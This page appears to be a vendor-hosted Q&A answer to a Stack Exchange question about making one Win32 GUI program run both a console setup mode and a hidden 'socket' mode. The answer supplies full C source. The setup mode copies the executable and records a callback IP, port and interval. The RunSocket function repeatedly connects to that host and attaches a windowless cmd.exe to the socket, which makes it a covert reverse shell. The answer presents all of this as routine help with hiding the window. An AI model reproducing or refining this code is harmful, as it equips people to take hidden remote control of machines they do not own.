You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Win32 GUI程序需从main入口启动以兼容双运行模式的问题咨询

How to Support Both Console Setup and GUI Socket Modes in a Single Win32 GUI Executable

Got it, let's fix this issue. The core problem here is that when you compile as a Win32 GUI app, Windows automatically uses WinMain as the entry point—so your main function (with all the setup logic) never gets called. We need to adjust the code so the GUI app can detect which mode it's running in, and behave accordingly: either spin up a console for setup, or run the socket logic silently without a window.

Here's a step-by-step solution with modified code:

First, Refactor Your Setup Logic

Pull the setup code out into its own function so we can call it from either entry point without duplicating code. This makes the code cleaner and easier to maintain:

#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <dirent.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <process.h>

#pragma comment(lib, "ws2_32.lib")

// Declare functions upfront
void RunSetup(int argc, char* argv[]);
void CopyNewFile(char* dir, char* fname, char* curName);
void CheckDirectory(char* d);
void RunSocket(char* a, char* b);

// Global variable for secs (used in original setup code)
int secs;

void RunSetup(int argc, char* argv[]) {
    char filePath[150];
    char fileName[30];
    int portNum;
    char ip[16];

    printf("Doing Setup Stuff\n");
    printf("Desired File Location. Example: C:\\Test\n");
    scanf("%149s", filePath);
    CheckDirectory(filePath);
    
    printf("\nDesired file name. Example: test.exe\n");
    scanf("%29s", fileName);
    getchar(); // Clear leftover newline from scanf
    
    CopyNewFile(filePath, fileName, argv[0]);
    
    printf("\nEnter callback IP:\n");
    scanf("%15s", ip);
    printf("\nEnter callback port:\n");
    scanf("%5d", &portNum);
    printf("Enter time in seconds for each callback: ");
    scanf("%10d", &secs);
}

Modify WinMain to Handle Both Modes

Instead of relying on main, we'll use WinMain (the default entry for GUI apps) to parse the full command line, then switch behavior based on the arguments:

int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR cmdline, int show) {
    // Convert Windows command line to standard argc/argv format
    int argc;
    char** argv = CommandLineToArgvA(GetCommandLineA(), &argc);

    if (argc == 1) {
        // No arguments? Show usage in a console
        AllocConsole();
        freopen("CONOUT$", "w", stdout); // Redirect stdout to console
        printf("Usage: File.exe setup OR File.exe -socket IP:PORT\n");
        printf("Press any key to exit...");
        getchar();
        FreeConsole();
        LocalFree(argv);
        return 0;
    }
    else if (strcmp(argv[1], "setup") == 0) {
        // Setup mode: create a console for user interaction
        AllocConsole();
        // Redirect stdin, stdout, stderr to the new console
        freopen("CONIN$", "r", stdin);
        freopen("CONOUT$", "w", stdout);
        freopen("CONOUT$", "w", stderr);

        // Run the setup logic
        RunSetup(argc, argv);

        // Let user review results before closing
        printf("\nSetup complete. Press any key to exit...");
        getchar();
        FreeConsole();
    }
    else if (strcmp(argv[1], "-socket") == 0 && argc >= 3) {
        // Socket mode: run silently without a window
        char socket[23];
        strncpy(socket, argv[2], 22);
        socket[22] = '\0'; // Ensure string is null-terminated

        char test[50];
        strncpy(test, socket, 49);
        test[49] = '\0';
        char* ip = strtok(test, ":");
        char* port = strtok(NULL, ":");

        if (ip && port) {
            RunSocket(ip, port);
        }
        else {
            // Show error if socket format is invalid
            MessageBoxA(NULL, "Invalid socket format. Use IP:PORT (e.g., 192.168.1.1:9000)", "Error", MB_OK | MB_ICONERROR);
        }
    }
    else {
        // Invalid arguments: show usage
        AllocConsole();
        freopen("CONOUT$", "w", stdout);
        printf("Invalid command! Usage: File.exe setup OR File.exe -socket IP:PORT\n");
        printf("Press any key to exit...");
        getchar();
        FreeConsole();
    }

    LocalFree(argv);
    return 0;
}

Keep Your Existing Helper Functions

You can reuse your original CopyNewFile, CheckDirectory, and RunSocket functions—we've already added upfront declarations so they work with the refactored code:

void CopyNewFile(char* dir, char* fname, char* curName) {
    char fullDir[300];
    char file[60];
    sprintf(file,"%s", curName);
    sprintf(fullDir, "%s\\%s", dir, fname);
    if (CopyFile(file, fullDir, FALSE)) {
        printf("\nCopied new file!\n");
    } else {
        printf("Did not copy!");
    }
}

void CheckDirectory(char* d) {
    DIR* dir = opendir(d);
    char answer[2];
    if (dir) {
        printf("Directory Exists!\n");
        closedir(dir);
    } else if (ENOENT == errno) {
        printf("Directory does not exist. Do you want to create this directory? Y/N: ");
        scanf("%s", answer);
        if (strcmp(answer, "y") == 0 || strcmp(answer, "Y") == 0) {
            if (CreateDirectory(d, NULL)) {
                printf("Created Directory!\n");
            } else {
                printf("Error Creating Directory!");
                exit(1);
            }
        } else {
            printf("Closing Script!");
            exit(1);
        }
    }
}

void RunSocket(char* a, char* b) {
    while(1) {
        WSADATA wsaData;
        SOCKET Winsock;
        struct sockaddr_in hax;
        char ip_addr[16];
        STARTUPINFO ini_processo;
        PROCESS_INFORMATION processo_info;
        WSAStartup(MAKEWORD(2,2), &wsaData);
        Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
        struct hostent *host;
        host = gethostbyname(a);
        strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
        hax.sin_family = AF_INET;
        hax.sin_port = htons(atoi(b));
        hax.sin_addr.s_addr =inet_addr(ip_addr);
        WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL);
        memset(&ini_processo, 0, sizeof(ini_processo));
        ini_processo.cb=sizeof(ini_processo);
        ini_processo.dwFlags=STARTF_USESTDHANDLES;
        ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
        CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &ini_processo, &processo_info);
        Sleep(15000);
    }
}

Key Notes About This Solution

  • AllocConsole(): Creates a console window for the setup mode, since GUI apps don't have one by default. Without this, printf and scanf would fail silently.
  • freopen: Redirects standard input/output/error to the new console, so your existing setup code works exactly like it did in the console app.
  • CommandLineToArgvA: Converts Windows' single-string command line into the familiar argc/argv format, making it easy to parse arguments just like in main.
  • Socket Mode: Runs completely without a window, just like you wanted—no cmd.exe flash because we're using a GUI app entry point and CREATE_NO_WINDOW in CreateProcess.

This approach lets you compile as a single Win32 GUI executable that supports both modes perfectly.

内容的提问来源于stack exchange,提问作者Brian Jarcus

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.15 04:25:09